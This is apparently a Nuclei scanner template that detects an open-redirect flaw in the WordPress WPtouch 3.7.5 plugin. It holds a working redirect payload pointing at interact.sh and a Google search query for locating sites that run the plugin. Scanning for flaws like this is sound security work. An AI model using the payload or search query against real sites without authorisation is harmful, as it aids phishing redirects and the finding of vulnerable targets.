id: wp-touch-redirect

info:
  name: WordPress WPtouch 3.7.5 - Open Redirect
  author: r3Y3r53
  severity: medium
  description: |
    WordPress WPtouch 3.7.5 is affected by an Open Redirect issue.
  reference:
    - https://packetstormsecurity.com/files/170568/WordPress-WPtouch-3.7.5-Open-Redirection.html
  classification:
    cpe: cpe:2.3:a:bravenewcode:wptouch:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: bravenewcode
    product: wptouch
    google-query: "inurl:/wp-content/plugins/wptouch"
  tags: wp-plugin,wp,packetstorm,wptouch,unauth,redirect,wordpress

http:
  - method: GET
    path:
      - "{{BaseURL}}/?wptouch_switch=desktop&redirect=http://interact.sh"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'
# digest: 4b0a00483046022100e75233fd8254f0eb88a8784932613c572b1e8a94da9566a05ce239135ba4ffd4022100ee3dde140828f5b78c9a29070b3f2577197cd294a1df22a4f0794b236e2fd4f2:922c64590222798bb761d5b6d8e72950